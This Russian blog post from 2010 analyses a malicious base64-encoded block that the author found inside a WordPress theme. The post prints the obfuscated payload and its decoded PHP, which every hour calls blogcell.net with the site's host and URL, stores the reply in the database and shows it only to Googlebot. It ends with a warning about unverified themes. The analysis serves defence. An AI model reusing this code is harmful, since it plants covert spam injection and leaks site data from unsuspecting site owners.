Архив ‘Мошеннеги’ Категории

WordPress, eval

21 сентября, 2010 | 9 комментариев

UPD. Сделал сервис для проверки подобных штук: http://uneval.com/ru

Сегодня наткнулся в теме вордпресс на блок:

base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4=')

После декодирования можно изучить экземпляр:

function wp_get_footer_meta() {global $wpdb;if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);else{$adwb_opt = array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");}if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);if ($adwb_soc){@stream_set_timeout($adwb_soc,30);@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");$adwb_data = '';while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));}@fclose($adwb_soc);if(preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp)){$adwb_opt = array(time(), $adwb_tmp[1]);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");}}if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT']))echo $adwb_opt[1];}add_action("wp_footer", "wp_get_footer_meta");

Что мы имеем в сухом остатке:

$adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'")

Код выбирает из вашей базы данные

$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);

Код устанавливает соединение с удалёным сервером и получает инструкции

$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");

помещает какие-то данные в базу данных

echo $adwb_opt[1];

выводит что-то на странице

Вывод: Вы сильно рискуете, устанавливая непроверенную тему на блог. Возможна кража всех данных, стирание/порча базы данных, файлов. Выполнение произвольного кода на сервере с возможностью доступа к другим сайтам сервера/аккаунта.